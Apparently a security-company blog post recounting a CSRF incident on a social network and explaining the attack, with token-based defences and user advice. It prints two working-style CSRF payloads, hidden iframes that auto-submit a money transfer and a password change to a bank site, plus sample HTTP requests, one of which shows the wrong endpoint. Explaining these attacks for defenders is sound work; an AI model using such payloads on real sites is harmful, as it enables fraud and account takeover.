My First Cross-Site Request Forgery Experience
A while back I was sifting through the posts of my friends on one of today’s popular social networking sites when I saw an odd video called “baby elephant giving birth” – or something to that effect – posted by several of my friends. This tingled my security-spidey senses. I knew something wasn’t legit, but I didn’t know exactly what. I decided to get on an old desktop I rarely use to check it out.
This is what happened: I click the link and am warned that I’m leaving the safety of socialnetworksite.com. The video opens in a new tab and begins to play. I close the tab and return to my profile to see that I had now posted “baby elephant giving birth” for all of my friends to see. I was a victim of CSRF.
How This Happened
When I originally logged into socialnetworksite.com, it stored my authenticated session within a cookie, and from then on the site would use that cookie to ensure that I am authorized. When I left socialnetworksite.com and loaded the new page, evilsite.example.com, a piece of script was embedded on the evilsite.example.com page that executed upon loading. That script contained a POST request to socialnetworksite.com that posted the baby elephant video to my profile. Because the POST request is sent from my browser, the server checked my browser’s cookies to make sure that I was authorized to make that request, and I was.
How to Protect Against This Occurring as a Developer
The most common and effective form of CSRF protection is with a randomly generated token that is assigned to the beginning of each session and that expires at the end of the active session. You can also generate and expire CSRF tokens for each POST. Some sites use the Viewstate property in ASP.Net sites, but because a Viewstate just records the input data of a form, you can potentially guess what those inputs would be. Granted that a Viewstate is better than no protection at all, a randomly generated CSRF Token is just as easy to implement and much more effective.
Note: If there is Cross-Site Scripting on the same site, the token used is irrelevant, because the attacker can grab the token from your cookies and make whatever authenticated requests he chooses.
How to Avoid This Occurring as a User
Never click on untrusted or unfamiliar links. Make sure that any sensitive web sites you access – your email, banking accounts, etc. – are done in their own browser and kept separate from any other Web surfing.
For a description of how WhiteHat Security detects CSRF, check out Arian Evan’s blog at https://blog.whitehatsec.com/tag/csrf/.
So even though my example of CRSF was relatively harmless, the attack could have just as easily been directed towards a banking website to transfer money. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.
For transferring money, bigbank.com may have a form that looks something like this on its website:
<form name=”legitForm” action=”/transfer.php” method=”POST”> <b>From account:<input name="transferFrom" value="" type="text"> <br>To account:<input name="transferTo" value="" type="text">
<br>Amount: <input name=”amount” value=”" type=”text
<span><input name=”transfer” value=”Transfer” type=”submit”></span>
</form>
When you fill out and submit the legitForm, the browser sends a POST request to the server that looks something like this:
POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
transferFrom=111222&transferTo=111333&amount=1.00&transfer=Transfer
Neither of the previous codes is relevant to the user, but they DO give the attacker the structure to build his own evil POST request containing his account information. The attacker embeds the following code onto his website that you clicked on:
<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”stealMoney” action=http://bigbank.com/transfer.php method=”POST” target=”hidden”>
<input type=”hidden” name=”transferFrom” value=””> ß——-Problem?
<input type=”hidden” name=”transferTo” value=”555666”>
<input type=”hidden” name=”amount” value=”1000000.00”>
<input type=”hidden” name=”transfer” value=”Transfer”>
</form>
<script>document.stealMoney.submit();</script>
</iframe>
This code automatically creates and sends a POST request when the webpage is loaded. Not only does it not require any user action other than loading the website; there is also no indication to the user that a request was ever sent.
Now here’s another example, but using a “change password request,” instead. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”. Most likely, bigbank.com’s website will have a “Change User’s Password” form that looks something like this:
<form name=”changePass” action=”/changePassword.php” method=”POST”> <b>New Password: <input name="newPass" value="" type="text"> <br>Confirm Pasword:<input name="confirmPass" value="" type="text">
<span><input name=”passChange” value=”Change” type=”submit”></span>
</form>
When you fill out and submit the valid changePass form, the browser sends a POST request that will look similar to this to the server:
POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
newPass=iloveyou&confirmPass=iloveyou&passChange=”Change”
Again, while neither of the previous codes is relevant to the user, they DO give the attacker the structure to build his own evil POST request containing the information he wants to submit. The attacker embeds the following code onto his website that you clicked on; then, when the page loads, the code executes:
<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”makePassword” action=http://bigbank.com/changePassword.php method=”POST” target=”hidden”>
<input type=”hidden” name=”newPass” value=”Stolen!”>
<input type=”hidden” name=”confirmPass” value=”Stolen!”>
<input type=”hidden” name=”passChange” value=”Change”>
</form>
<script>document.makePassword.submit();</script>
</iframe>
This code automatically creates and sends a POST request when the webpage is loaded. And, as in the example above, not only is no user action required other than loading the website, there is no indication to the user that a request was ever sent.
Recent Comments